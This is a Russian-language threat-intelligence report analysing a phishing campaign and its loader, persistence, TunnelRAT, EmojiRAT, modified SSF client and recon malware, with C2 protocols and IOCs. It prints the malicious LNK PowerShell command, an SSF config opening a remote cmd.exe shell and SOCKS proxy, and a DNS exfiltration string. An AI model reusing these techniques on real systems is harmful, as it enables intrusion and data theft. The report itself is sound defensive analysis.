С октября 2024 г. по октябрь 2025 г. наши специалисты по киберразведке отслеживали активность ранее неизвестных атакующих. В инцидентах использовался многоступенчатый загрузчик, который разворачивал сложные, не описанные ранее трояны удаленного доступа, а также расшифровывал и запускал ВПО. Прочитайте исследование и попробуйте определить, кто стоит за атакой.

Кампания

Распространение

По имеющимся у нас данным, в качестве метода получения первоначального доступа используется фишинг. Причем атакующие могут распространять ВПО во вложениях письма в виде архивов.

Существуют следующие сценарии с распространяемыми в письмах архивами:

  1. Архив содержит легитимный EXE-файл и вредоносную динамически подключаемую библиотеку (DLL) с атрибутом «скрытый», являющуюся загрузчиком, который подгружается в момент запуска легитимного EXE-файла с помощью техники DLL side-loading. Иногда в архиве также мог находиться отвлекающий PDF-документ, в котором отсутствует ссылка для загрузки с сетевого ресурса атакующих архива с ВПО.

  2. Архив содержит вредоносный LNK-файл и скрытые файлы: легитимный EXE, загрузчик в виде вредоносной DLL, отвлекающий PDF-документ.

Кроме того, были обнаружены атаки с использованием отвлекающих PDF-документов, замаскированных под руководства по установке программы видео-конференц-связи или веб-клиента мессенджера.

В отвлекающих PDF-документах содержалась ссылка на сетевой ресурс атакующих для загрузки архива с ВПО. В одном из случаев атакующие скомпрометировали легитимный сетевой ресурс крупной российской инвестиционной компании, с сайта которой они распространяли архив с ВПО.

Отвлекающий документ с инструкцией по установке ПО
Отвлекающий документ с инструкцией по установке ПО
Отвлекающий документ Инструкция.pdf
Отвлекающий документ Инструкция.pdf

Ссылка из отвлекающих PDF-документов ведет якобы на файловое хранилище, как правило, атакуемой организации. На странице этого «файлового хранилища» доступны три кнопки для скачивания якобы установочного клиента ПО. Кнопка загрузки клиента для ОС Windows содержала вредоносную ссылку, по которой жертва скачивала архив с ВПО. Остальные кнопки содержали ссылки, перенаправляющие на легитимные сетевые ресурсы соответствующего ПО.

Сетевой ресурс для загрузки ZIP-архива с ВПО
Сетевой ресурс для загрузки ZIP-архива с ВПО

Теперь вернемся к сценарию с использованием LNK-файла атакующими.

В архиве Уведомление_о_изменении_процента_налога_в_2025_году.7z содержатся файлы:

  • Уведомление о изменении процента налога в 2025 году.pdf.lnk;

  • скрытые файлы:

  • doc.bac — легитимный исполняемый EXE-файл;

  • doc.dat — первая стадия загрузчика в виде DLL, которая загружается через DLL side-loading легитимным исполняемым файлом doc.bac;

  • doc.xml — отвлекающий PDF-документ.

При открытии LNK-файла Уведомление о изменении процента налога в 2025 году.pdf.lnk выполняется команда:

powershell.exe -c cpi doc.bac $env:appdata\Microsoft\PDFRead.exe;cpi doc.xml $env:appdata\Microsoft\doc.pdf; cpi doc.dat $env:appdata\Microsoft\uxtheme.dll; cd $env:appdata\Microsoft; start .\doc.pdf; start .\PDFRead

В результате выполнения данной команды в каталог %APPDATA%\Microsoft копируются файлы:

  • doc.bac → PDFRead.exe

  • doc.xml → doc.pdf

  • doc.dat → uxtheme.dll

Далее открывается отвлекающий документ doc.pdf и запускается легитимный исполняемый файл PDFRead.exe, который подгружает вредоносную библиотеку uxtheme.dll (первая стадия загрузчика) с помощью техники DLL side-loading.

Отвлекающий документ doc.pdf
Отвлекающий документ doc.pdf

Загрузчик

Загрузчик атакующих является многоступенчатым и предназначен для разворачивания в системе вредоносной нагрузки: TunnelRAT, EmojiRAT + SSF, httptun.

Первая стадия реализована в виде DLL, которая запускается с помощью техники DLL side-loading легитимным исполняемым EXE-файлом.

Вторая стадия также реализована в виде DLL, которая расшифровывается первой стадией и извлекается на диск. Вторая стадия запускается с помощью техники Component Object Model (COM) hijacking в адресном пространстве легитимного процесса getmac.exe. В некоторых образцах загрузчик второй стадии расшифровывает и запускает две конечные нагрузки: троян удаленного доступа EmojiRAT и модифицированный клиент SSF. Стоит отметить, что в этом случае EmojiRAT был встроен в DLL самого загрузчика.

В одной из атак было обнаружено, что у загрузчика отсутствовала третья стадия, а вторая стадия расшифровывала и запускала конечную нагрузку — троян удаленного доступа TunnelRAT.

В других образцах встречалась третья стадия загрузчика в виде исполняемого файла, запускающего внутри себя шелл-код, который расшифровывал и запускал конечную вредоносную нагрузку TunnelRAT.

Первая стадия

Первая стадия загрузчика проверяет в переменной окружения %USERDOMAIN% подстроки, характерные для атакуемой организации. Если проверка не пройдена, загрузчик расшифровывает и запускает отдельное .NET-приложение, предназначенное для отображения отвлекающего окна обновления приложения для корпоративной связи, после чего загрузчик завершает свою работу. Если же проверка пройдена успешно, загрузчик расшифровывал свою вторую стадию и сохранял ее на диск в виде DLL, например:

  • %LOCALAPPDATA%\Programs\Common\NetworkPlugin.dll

  • %USERPROFILE%\AppData\Roaming\lyly.dll

  • %APPDATA%\networkmanager.dll

  • %USERPROFILE%\AppData\Roaming\netwrokmanager.dll

  • %APPDATA%\Microsoft\Crypto\NetworkListManager.dll

  • %APPDATA%\Microsoft\Credentials\VaultCDC.dll

Стоит отметить, что отображение отвлекающего окна обновления приложения не зависит от результатов проверки.

Отвлекающее окно обновления приложения для корпоративной связи
Отвлекающее окно обновления приложения для корпоративной связи

Также первая стадия загрузчика закрепляет в системе с помощью COM hijacking свою следующую стадию.

Описание закрепления:

  • Происходит попытка открытия раздела реестра HKCU\Software\Classes\CLSID\{GUID}\InprocServer32.

  • Если данного раздела не существует, то он создается.

  • После создания в него записывается путь сохраненной ранее библиотеки (следующая стадия загрузчика), например: %LOCALAPPDATA%\Programs\Common\NetworkPlugin.dll.

Закрепление происходит по следующим значениям GUID:

  • 4590f811-1d3a-11d0-891f-00aa004b2e24 (WBEM Locator);

  • dcb00c01-570f-4a9b-8d69-199fdba5723b (NetworkListManager);

  • 88d96a05-f192-11d4-a65f-0040963251e5 (XML DOM Document 6.0).

После закрепления происходит запуск легитимного исполняемого файла %WINDIR%\System32\getmac.exe с аргументом getmac /s services.imp.microsoft.com /fo table /nh /v. Данный процесс запускает созданную ранее DLL — следующую стадию загрузчика.

Еще в одном обнаруженном варианте первой стадии загрузчика отсутствовало отдельное .NET-приложение, предназначенное для отображения отвлекающего окна обновления приложения. В этом случае загрузчик выводил жертве окно обновления приложения видео-конференц-связи.

Отвлекающее окно обновления приложения видео-конференц-связи
Отвлекающее окно обновления приложения видео-конференц-связи

Другой вариант первой стадии загрузчика также проверяет в переменной окружения %USERDOMAIN% подстроки, характерные для атакуемой организации. Если проверка пройдена успешно, загрузчик расшифровывал нагрузку и сохранял ее на диск в виде исполняемого файла с расширением .exe, например:

  • %APPDATA%\Microsoft\Installer\Updater.exe

  • %LOCALAPPDATA%\Microsoft SDKs\feedback.exe

  • %APPDATA%\Chrome\updater.exe

Запуск следующей стадии осуществляется загрузчиком с помощью вызова CreateProcessW(<путь к исполняемому файлу нагрузки>). В данном случае нагрузкой являлось ВПО httptun.

Также загрузчик, вне зависимости от результата проверки хоста жертвы, показывает отвлекающее окно установки приложения мессенджера.

Отвлекающее окно обновления мессенджера
Отвлекающее окно обновления мессенджера

Вторая стадия

Во второй стадии загрузчика, так же как и в первой стадии, происходит проверка наличия характерных для атакуемой организации подстрок в переменной окружения %USERDOMAIN%, но были обнаружены варианты второй стадии загрузчика, в которых такая проверка отсутствовала.

При другом типе проверки анализируются аргументы командной строки, с которыми запущена вторая стадия загрузчика:

  • cpu get numberоfcоres

  • cpu get number оf cоres

  • os get localtime

Если один из этих вариантов аргументов обнаружен, тогда происходит удаление значений COM из реестра ОС, а также удаление самой библиотеки второй стадии загрузчика. Стоит отметить, что указанная выше проверка может отсутствовать в некоторых образцах загрузчика.

В экспортируемой функции DllGetClassObject происходит расшифровка и запуск в отдельном потоке нагрузки.

Вторая стадия загрузчика расшифровывает следующую стадию или конечную нагрузку и запускает ее в новом потоке.

Кроме того, в обнаруженном образце networkmanager.dll код и данные конечной нагрузки были расположены в теле второй стадии загрузчика. Так данная DLL запускала в отдельном потоке нагрузку в виде модифицированного клиента SSF и выделяла четыре потока на выполнение основной конечной нагрузки — EmojiRAT.

Также на данном этапе загрузчик создает объекты синхронизации с уникальными именами:

  • .IRDM_{25fab5db-1899-4943-9275-647a21cf88b5} (mutex);

  • .ISD_{25fab5db-1899-4943-9275-647a21cf88b5} (section).

Третья стадия

Третья стадия загрузчика представляет собой исполняемый файл, который внутри себя запускает шелл-код, предназначенный для расшифровки конечной нагрузки TunnelRAT с помощью RC4.

TunnelRAT

TunnelRAT представляет собой обфусцированное ВПО с многопоточной архитектурой (каждая новая задача, поступающая от C2-сервера, запускается в отдельном потоке). TunnelRAT позволяет выполнять различные команды, поступающие от C2-сервера, на скомпрометированном хосте, а также поддерживает два типа коммуникации с C2-сервером: DNS-протокол (туннель), HTTP.

Конфигурация данного ВПО расшифровывается в инициализирующемся векторе и представляет собой следующую структуру:

struct ratConfig {

    int16_t sleepTime;

    uint8_t connectionType;

    std::string c2Domain;

    std::string agentID;

};

В исследуемом образце конфигурация была следующей:

  • sleepTime = 2 секунды

  • connectionType = 0

  • c2Domain = ns12.[redacted].team

  • agentID = EB011574B3C566FB

В другом обнаруженном образце конфигурация выглядела следующим образом:

sleepTime

connectionType

c2Domain

agentID

2

0 (DNS)

ns45.mssid[.]team

8D23CA1F14DF8E73

2

1 (HTTP)

vpn.mssid[.]team

8D23CA1F14DF8E73

В конфигурации может быть несколько возможных C2-серверов для коммуникации. То есть в ВПО может быть задано несколько таких конфигураций, которые идут друг за другом подряд.

RAT имеет два типа взаимодействия с C2:

  • 0 — взаимодействие с помощью DNS-протокола (DNS-туннель);

  • 1 — взаимодействие с помощью HTTP.

В анализируемом ВПО весь обмен данными осуществляется с использованием кодирования Base36. При отправке информации на управляющий сервер предусмотрена опция добавления случайных байтов: к исходным данным добавляются три случайных байта, перед которыми устанавливается специальный маркер — байт 0xFF, указывающий на присутствие добавленных случайных байтов. После этого данные кодируются в Base36 и передаются на сервер.

Описание сетевого взаимодействия

DNS-туннель

Проверка доступности C2-сервера

Генерируется часть доменного имени (в данном случае домены 4-го и 5-го уровня) следующим образом:

  1. Формируется набор байтов [0x13][8 случайных байт][0xFF][3 случайных байта][0xAB], где:

    • 0x13 — тип запроса;

    • 8 случайных байт — полезные данные;

    • 0xFF — маркер конца полезных данных;

    • 3 случайных байта;

    • 0xAB — маркер конца строки.

    Пример набора байтов: [0x13, 0x1F, 0x19, 0xE3, 0x11, 0xB3, 0x7B, 0xE4, 0xC6, 0xFF, 0x3C, 0x40, 0x52, 0xAB].

  2. Далее набор байтов разбивается на блоки по 8 байт. Блоки, длина которых менее 8 байт, заполняются нулями до нужной длины блока. Байты каждого блока кодируются в Base36, при этом после кодирования ставится точка, формируя часть доменного имени: 3h32n3pqzo2s3[.]1urrvbm66e.

Эта часть конкатенируется с основным доменом из конфигурации: 3h32n3pqzo2s3.1urrvbm66e.ns12.[redacted].team.

На полученный домен выполняется DNS-запрос с помощью DnsQuery_A(), и считывается AAAA-запись. В примере запись содержит IPv6-строку: ff00:c6e4:7bb3:11e3:191f:ff57:6e7f:1.

Структура AAAA-записи:

  • ff00 — формат пакета, используемый ВПО для всех передаваемых данных;

  • c6e4:7bb3:11e3:191f — случайные байты из генерации доменного имени (заданы в обратном порядке), проверяемые ВПО для верификации;

  • ff — маркер окончания полезных данных;

  • 57:6e7f — три случайных байта;

  • :1 — номер пакета (аналог :0001).

Если байты из AAAA-записи совпадают с ранее сгенерированными, ВПО переходит к приему команд от управляющего сервера.

Получение команд

На начальном этапе формируется доменное имя на основе набора байтов [0x08, 0x00]. Эти байты кодируются в формате Base36 с добавлением случайных байтов, после чего полученная часть домена объединяется с доменом, указанным в конфигурации, — ns12.[redacted].team.

Следует отметить, что значение байта 0x00 может быть изменено после получения от C2-сервера команды с кодом 0x11 (подробности приведены ниже в разделе «Описание команд»).

Аналогично механизму проверки доступности C2-сервера для получения команд выполняется DNS-запрос с помощью функции DnsQuery_A() с запросом AAAA-записи сформированного домена.

AAAA-записи, используемые данным ВПО при получении команд от C2-сервера, имеют формат ff00:<byte><command>:<byte1Domain><byte2Domain>:...:0001, где:

  • <byte> — второй байт из исходного набора [0x08, <byte>], применяемого при Base36-кодировании домена. Его значение сохраняется в глобальной переменной ВПО и используется для проверки подлинности при получении команд от C2-сервера (механизм защиты от подмены пакетов);

  • <command> — байт, определяющий идентификатор команды;

  • <byte1Domain><byte2Domain> — последовательность байтов, участвующих в генерации доменов для извлечения дополнительных данных из AAAA-записей;

  • 0001 — номер пакета, поскольку один домен может содержать несколько AAAA-записей.

Пример передачи нескольких пакетов данных:

ff00:<byte><command>:<byte1Domain><byte2Domain>:...:0001
ff00:<data>:...:0002
ff00:<data>:...:ff03

Если в полученной от C2-сервера IPv6-строке (AAAA-записи домена) присутствует байт 0xFF, это указывает на завершение приема данных и начало обработки команды.

ВПО извлекает полезные данные от <byte> до 0xFF, пропуская служебные значения ff00 и номер пакета. При этом байт 0xFF может появляться в любом месте пакета, а не обязательно в его конце.

Отправка результатов выполнения команд

Результаты выполнения команд кодируются в Base36 и используются как часть доменного имени, после чего объединяются с доменом, заданным в конфигурации ВПО, — ns12.[redacted].team.

Затем выполняется вызов функции DnsQuery_A() для запроса AAAA-записи сгенерированного домена.

На стороне атакующих фиксируется обращение к AAAA-записи этого домена, после чего закодированная часть имени домена декодируется, позволяя получить результат выполнения команды.

HTTP

Проверка доступности C2-сервера

Механизм начальной проверки аналогичен тому, что используется для DNS-взаимодействия. Выполняется POST-запрос к домену, указанному в конфигурационных данных (например, ns12.[redacted].team), на порт 443 с помощью WinHTTP. Заголовки запроса выглядят следующим образом:

Connection: Keep-Alive
Content-Type: text/plain
Content-Length: <size>
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

Далее ВПО генерирует 8 случайных байт, кодирует их в Base36 и отправляет через HttpSendRequestA(). В ответ от сервера ожидается та же последовательность байтов, но в обратном порядке и также закодированная в Base36. Чтение ответа выполняется через InternetReadFileA(). Если полученная от сервера последовательность соответствует сгенерированной (в обратном порядке), ВПО переходит к этапу получения команд.

Получение команд

Запрос выполняется к домену из конфигурации ВПО на порт 443. Тело запроса формируется из набора байтов [0x08, 0x00], которые кодируются в Base36 с добавлением случайных байтов. Сервер должен вернуть ответ, содержащий массив в виде [<byte>, <command>, <data>, 0xFF]. Этот массив кодируется в Base36 и отправляется ВПО.

Пояснения:

  • <byte> — байт, применяемый при Base36-кодировании (первоначально второй байт равен 0x00, но в процессе работы может изменяться; его значение хранится в глобальной переменной и проверяется при каждом запросе);

  • <command> — идентификатор команды;

  • <data> — дополнительные данные (если требуются).

Отправка результатов выполнения команд

Принцип такой же, как для DNS-туннеля: результаты кодируются в Base36 и передаются на управляющий сервер через HTTP.

Описание команд

Всего используется 26 команд. ВПО имеет многопоточную архитектуру, поэтому каждая полученная команда от C2-сервера выполняется в отдельном потоке.

Номер команды

Описание

0xFF

Завершение работы ВПО

0x01

Загрузка файла с C2-сервера на скомпрометированный хост.

В рамках выполнения команды происходит два этапа чтения дополнительных данных:

1. Чтение содержимого, которое будет записано в файл.
2. Чтение имени директории и имени файла.

Если указан относительный путь, директория создается внутри рабочей директории ВПО.

Создание директории и файла осуществляется с помощью стандартных функций C++ для работы с файловой системой, в частности _std_fs_get_stats() и _std_fs_create_directory(), а также с использованием потоков Stream.

Дополнительно обновляется глобальный массив, содержащий информацию о статусе загрузки файла на скомпрометированный хост, в формате: upload size: <size>\n

0x02

Чтение содержимого файла или файлов в директории (передача содержимого файла(-ов) со скомпрометированного хоста на C2-сервер).

Дополнительные данные читаются однократно.

В IPv6-строках указывается имя директории или файла. Если указан путь к директории — чтение выполняется рекурсивно для каждого файла внутри; если указан файл — читается только он.

Перед чтением ВПО проверяет наличие указанного пути и его тип с помощью вызова _std_fs_get_stats(); на основании результатов определяется, является ли объект директорией.

Содержимое прочитанного(-ых) файла(-ов) отправляется на C2-сервер.

Обновляется глобальный массив, содержащий информацию о статусе загрузки содержимого файла(-ов) со скомпрометированного хоста на C2-сервер, в формате: download <file>

0x03

Загрузка нескольких файлов подряд с C2-сервера на скомпрометированный хост. Данная команда связана с командой 0x01

0x04

Сбор метаданных о файле или директории.

Выполняются проверки на существование указанного пути и на то, является ли он директорией. Если путь указывает на директорию — собираются сведения обо всех файлах внутри нее.

Собираемые поля: полный путь к файлу, размер в байтах, длина имени файла, само имя файла, длина строки с датой и дата/время в формате %d/%m/%Y %H:%M («день/месяц/год часы:минуты»).

Выходная запись формируется в виде: <filePath> <служебные поля> <dateTime>

0x05

Получение текущей рабочей директории (PWD).

Директория определяется с использованием функций _std_fs_open_handle() и _std_fs_get_final_path_name_by_handle()

0x06

Запуск процесса.

Дополнительные данные читаются однократно.

Пример отправляемых дополнительных данных:

ff00:6100:1600:0000:0009:0000:0025:4301
ff00:4f4d:5350:4543:2506:0000:002f:6302
ff00:2064:6972:ff00:0000:0000:0000:0003

В данном случае отправлено %COMSPEC% /c dir.

Перед созданием процесса выполняется подмена родительского процесса (parent process spoofing). Новый процесс создается как дочерний одного из доверенных процессов:

ApplicationFrameHost.exe

MpCmdRun.exe

RuntimeBroker.exe

UserOOBEBroker.exe

dllhost.exe

services.exe

svchost.exe

explorer.exe

wininit.exe

Для перехвата вывода запущенного процесса создаются и настраиваются каналы (pipe) — читается то, что процесс пишет в stdout/stderr, и этот вывод отправляется на сервер. Для этого используются WinAPI:

InitializeProcThreadAttributeList();

перечисление процессов (Process32NextWOpenProcess и т. д.);

UpdateProcThreadAttribute();

CreatePipe();

SetHandleInformation();

SetNamedPipeHandleState();

DuplicateHandle().

Сам процесс создается через CreateProcessW(NULL, <command line>).

Каждая из переданных ранее строк (%COMSPEC% и /c dir) предварительно расширяется, используя ExpandEnvironmentStringsW().

На C2-сервер отправляется результат выполнения команды.

После запуска запись о процессе добавляется в глобальный массив активных процессов

0x07

Запись данных в pipe (stdin) запущенного процесса. Данная команда связана с командой 0x06

0x08

Подключение по сокету к заданному в команде сетевому порту и IP-адресу или доменному имени для получения команд напрямую от C2-сервера.

При каждом подключении по сокету ВПО получает новый байт, который затем используется для генерации новых доменов и команд

0x09

Завершение работы сокета (команда 0x08)

0x0A

Сбор сведений о скомпрометированном хосте.

Осуществляется путем извлечения данных из переменных окружения:

USERDOMAIN

USERDNSDOMAIN

USERNAME

COMPUTERNAME

LOGONSERVER

Пример полученной информации:

Agent information:
------------------------------------------
Domain: <Domain>
User: <Username>
Hostname: <Hostname>
Logon server: <LogonServer>
------------------------------------------
Current dir: <PWD>
------------------------------------------
IP addresses:
<redacted_ipv6>
<redacted_ipv4>
------------------------------------------

Для получения IP-адресов ВПО сначала пытается использовать функцию getaddrinfo() по значению поля Domain.

Если получить IP-адреса не удается, то они определяются напрямую из локальных сетевых интерфейсов.

Собираются как IPv6-, так и IPv4-адреса каждого сетевого адаптера, после чего они добавляются в общий блок сведений о скомпрометированном хосте

0x0B

Сбор информации о существующих C2-серверах.

Собирается и отправляется на C2-сервер следующая информация:

Transports:
============
---------------------------------------------------------------------------------
| N#     | USED | PROTOCOL     | SRV_NAME    | AGNT_ID  |
---------------------------------------------------------------------------------
0        USED   DNS            ns12.[redacted].team   EB011574B3C566FB

Возможные протоколы: DNS, HTTP.

C2-серверов может быть несколько, но активным может быть только один

0x0C

Удаление записи о C2-сервере по его номеру.

Проверка, что данный C2-сервер не используется ВПО в данный момент

0x0D

Добавление нового C2-сервера.

На C2-сервер отправляется сообщение Transport successfully added.

Пример вывода информации о C2-серверах после добавление новой записи:

Transports:
============
---------------------------------------------------------------------------------
| N#     | USED | PROTOCOL     | SRV_NAME    | AGNT_ID  |
---------------------------------------------------------------------------------
0        USED   DNS            ns12.[redacted].team   EB011574B3C566FB
1         HTTP    google.com      tempAgentName

0x0E

Переключение активного C2-сервера.

Требуется отправить номер C2-сервера, который в данный момент не является активным (используемым ВПО)

0x0F

Завершение активных процессов, созданных командой 0x06.

Команда принимает дополнительные данные — индекс процесса в глобальном массиве активных процессов (не PID) — и рекурсивно завершает дерево процессов для указанной записи, также удаляет ее из глобального массива активных процессов.

После успешного завершения на C2-сервер отправляется сообщение Process terminated

0x10

Удаление файла или директории.

Команда принимает дополнительные данные — имя файла или директории.

Если при удалении директории возникает ошибка «Директория не пустая», выполняется рекурсивное удаление всех вложенных файлов и самой директории.

На C2-сервер отправляется сообщение File/directory removed: <file or directory name>

0x11

Генерация нового домена для получения следующей команды.

Домен генерируется от значения agentID (b'0x1' + EB011574B3C566FB), берется байт из AAAA-записи и подмешивается в генерацию нового домена для получения другой команды.

Изначально набор байтов для генерации: [0x08, 0x00], который кодируется в Base36. После получения команды 0x11 генерация нового домена происходит с использованием набора байтов: [0x08, <байт из AAAA-записи домена команды 0x11>].

Пример:

Изначальный домен: d68n2bm0d1k, сгенерированный от набора байтов [0x08, 0x00].

AAAA-запись этого домена: ff00:e511:ff41:6750::1. Берется байт 0x11.

Новый домен генерируется на основе ID: u82cwvxkrjsx.12frsx709tdf8.wf9dsaugdwzm.3bez2rgh0lkgt[.]1uy9pjb740.

Его AAAA-запись: ff00:7bff:7d0a:900::1.

Теперь для следующей генерации домена используется байт 0x7b, формируя набор байтов: [0x08, 0x7b]

0x12

Получение всех переменных окружения системы с помощью GetEnvironmentStrings().

Переменные окружения отправляются на C2-сервер

0x13

Получение списка активных процессов, запущенных с помощью команды 0x06.

Пример данных, отправляемых на C2-сервер:

ID        |DESCR
--------------------------------------------------
0         |C:\Windows\system32\cmd.exe

0x14

Завершение работы деревьев всех активных процессов. Все активные процессы рекурсивно завершаются.

На C2-сервер отправляется All processes terminated

0x15

Обновление параметра sleepTime для активного C2-сервера

0x16

Контроль статуса передачи файла между C2-сервером и скомпрометированным хостом.

Отслеживание либо загрузки файла на хост, либо его отправки с хоста на сервер с получением ответов вида upload size: <size>\n или download <file>

0x17

Сбор информации о пользователе, его правах и группах в системе.

Функция использует стандартные WinAPI (например, GetTokenInformation()GetCurrentProcess()OpenProcessToken()) для получения данных о текущем пользователе.

Пример собираемой информации:

USER INFORMATION:
=========================
User name: {compname}\{username}
User SID: S-1-5-21-2822121477-994628472-261005368-1000

GROUP INFORMATION:
=========================
{compname}\Отсутствует
SID: S-1-5-21-2822121477-994628472-261005368-513
Attributes: SE_GROUP_ENABLED, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_MANDATORY
……

PRIVILEGES INFORMATION:
=========================
SeShutdownPrivilege, status: DISABLED
SeChangeNotifyPrivilege, status: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
SeUndockPrivilege, status: DISABLED
SeIncreaseWorkingSetPrivilege, status: DISABLED
SeTimeZonePrivilege, status: DISABLED

0x18

Взаимодействие с группой активных процессов. Отправляет в активный pipe (stdin) последовательность \r\n, которая соответствует возврату каретки и переносу строки, имитируя нажатие Enter для ввода команды в Windows

0x19

Настройка кодировки общения определенного активного процесса

EmojiRAT

Еще один троян удаленного доступа, в котором используются телеграм-боты для коммуникации с атакующими. Вредоносная программа выполняет команды, поступающие от одного из ботов, на скомпрометированном хосте. Отличительная особенность данного RAT в том, что вся коммуникация закодирована специальными символами эмодзи.

В библиотеке netwrokplugin.dll (вторая стадия загрузчика) запускается в отдельном потоке вредоносная нагрузка — троян удаленного доступа EmojiRAT.

Коммуникация с C2-сервером происходит с помощью пяти телеграм-ботов: один из них используется для получения команд, остальные — для отправки результатов их выполнения.

Обращения идут с помощью WinHTTP-функций к сетевому адресу:

/<telegram_bot_token>/getUpdates?timeout=180&offset=1

Выполняется GET-запрос и устанавливает следующий заголовок:

Host: api.telegram[.]org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0

Общение с телеграм-ботом осуществляется при помощи эмодзи, а именно с помощью таблицы эмодзи внутри библиотеки netwrokplugin.dll (вторая стадия загрузчика). Приходящие эмодзи конвертируются в индексы из таблицы, и извлекаются команды, а отправляемые в телеграм-бот данные кодируются в эмодзи-символы.

Данная таблица содержит ровно 256 символов.

Таблица для кодирования/декодирования данных
Таблица для кодирования/декодирования данных

Команды EmojiRAT

Номер команды

Описание

0x01

Завершение работы ВПО

0x02

Сбор информации о системе, а именно:

получение имени пользователя с помощью GetUsernameA();

получение имени компьютера с помощью gethostname();

получение списка сетевых интерфейсов (IP-адресов) с помощью WSASocketW()WSAIoctl()

0x03

Передача пустого пакета данных (ping)

0x04

Обновление значения параметра sleepTime

0x05

Создание TCP-сокета и подключение к указанному в команде IP-адресу и сетевому порту для получения команд

0x06

Создание TCP-сокета и подключение к указанному в команде доменному имени и сетевому порту

0x07

Закрытие TCP-соединения

0x08

Передача данных через созданный TCP-сокет

0x0B

Получение списка всех файлов в указанной директории (может использоваться и рабочая директория).

Для работы с файловой системой применяется std::filesystem из C++.

Информация собирается рекурсивно:
имя директории;
имена файлов и их размеры

0x0C

Изменение текущей рабочей директории

0x0D

Создание файла или запись в существующий (загрузка файла с C2-сервера на скомпрометированный хост)

0x0E

Получение пути текущей рабочей директории

0x0F

Чтение содержимого файла (передача файла со скомпрометированного хоста на C2-сервер)

0x10

Создание процесса через CreateProcessA(0LL, <command>) с параметром скрытого окна и без перехвата вывода

0x11

Создание процесса через CreateProcessA(NULL, <command>) с перехватом вывода через pipe

Модифицированный клиент SSF

Вторая стадия загрузчика (netwrokmanager.dll) расшифровывает и запускает в отдельном потоке нагрузку, являющуюся модифицированным клиентом SSF.

Атакующие добавили кодирование конфигурационных данных Base64. В конфигурационных данных также добавили обработку специальных аргументов, например, -1, так как данный параметр не обрабатывается по умолчанию стандартной версией клиента SSF. Также атакующие изменили название класса ssf на Application, убрали логирование и строки, явно связанные с SSF, с целью затруднить классификацию инструмента и, возможно, его обнаружение.

Декодированные конфигурационные данные клиента SSF:

{"arguments": "-Y -1 -F -1 -t 60 -m 999999 -p 443 89.169.142[.]238", "tls": {"cipher_alg": "ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA256:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA"}, "services": {"shell": {"enable": true, "path": "C:\\windows\\system32\\cmd.exe", "args": ""}, "socks": {"enable": true}}, "timestamp": 8569072108}

Описание конфигурационных данных:

  • arguments:

    • -p 443 — подключение к сетевому порту 443;

    • 89.169.142[.]238 — удаленный сервер;

    • -t 60 — задержка между попытками переподключения;

    • -m 999999 — максимальное число попыток переподключения;

    • -Y -1 — перенаправление локального ввода-вывода интерпретатора командной строки на указанный порт удаленного сервера (-1 — произвольный сетевой порт);

    • -F -1 — запуск локального SOCKS-прокси, доступного со стороны удаленного сервера (-1 — произвольный сетевой порт);

  • cipher_alg — перечисление набора алгоритмов шифрования, используемых при создании TLS-туннеля;

  • shell — enable: true и path: "C:\\windows\\system32\\cmd.exe" — включает возможность запускать интерпретатор командной строки cmd.exe и пробрасывать его через TLS-туннель;

  • socks — enable: true — включает SOCKS-прокси;

  • timestamp — 8569072108 — некая временная метка, но значение аномальное. Если конвертировать в Unix Time Stamp, получается дата 2241-07-18T01:48:28Z (UTC).

ВПО для разведки

В одной из атак мы обнаружили использование вредоносной программы, предназначенной для сбора информации о скомпрометированном хосте. Данная программа реализована в виде DLL, которая, так же как и загрузчик, подгружается с помощью DLL side-loading легитимным исполняемым EXE-файлом.

Данная вредоносная программа производит базовую разведку атакуемой цели, то есть получает название домена, имя пользователя и компьютера.

Вредоносная программа проверяет в переменной окружения %USERDOMAIN% подстроки, характерные для атакуемой организации. Если проверка не пройдена — завершает свою работу. Стоит отметить, что данная вредоносная программа, как и загрузчик, в случае любого исхода проверки демонстрирует жертве окно с обновлением приложения мессенджера для отвлечения внимания.

После успешной проверки формируется строка, состоящая из переменных окружения:

ns.%USERDOMAIN%.addr.%USERNAME%.out.%COMPUTERNAME%.g.addr-in[.]com

После подстановки переменных окружения производится DNS-запрос на чтение A-записи с помощью DnsQuery_W(). Таким образом происходит разведка посредством отправки DNS-запроса на подконтрольный сервер атакующих.

Данный образец содержит только эту стадию и предназначен для получения информации об инфраструктуре организации.

httptun

httptun является вредоносным .NET-приложением, защищенным протектором VMProtect. На момент написания исследования данную программу не удалось точно классифицировать и полностью понять ее функциональные возможности.

Название исполняемого файла .NET-сборки — httptun.exe (httptunnel.exe). Возможно, данная .NET-сборка представляет собой инструмент для HTTP-туннеля, но, как уже было сказано выше, такая гипотеза находится в процессе проверки.

httptun может содержать несколько сетевых адресов для коммуникации.

Известные C2-адреса образцов httptun:

  • 185.27.195[.]118 (hxxps://[redacted].ru/[redacted]/services/main/bx_stat.php?action=stat), запасной: 176.109.91[.]210 (hxxps://176.109.91.210/Collector/3.0/);

  • 176.109.91[.]211 (hxxps://176.109.91[.]211/cr/log);

  • 185.27.195[.]118 (hxxps://[redacted].ru/[redacted]/services/main/bx_stat.php?action=stat);

  • 158.160.57[.]241, запасной: 176.109.91[.]205.

Сетевая инфраструктура

Для своей сетевой инфраструктуры атакующие используют преимущественно следующие автономные системы (AS) провайдеров:

  • AS 200350,

  • AS 209024.

Также они размещают часть инфраструктуры за Cloudflare.

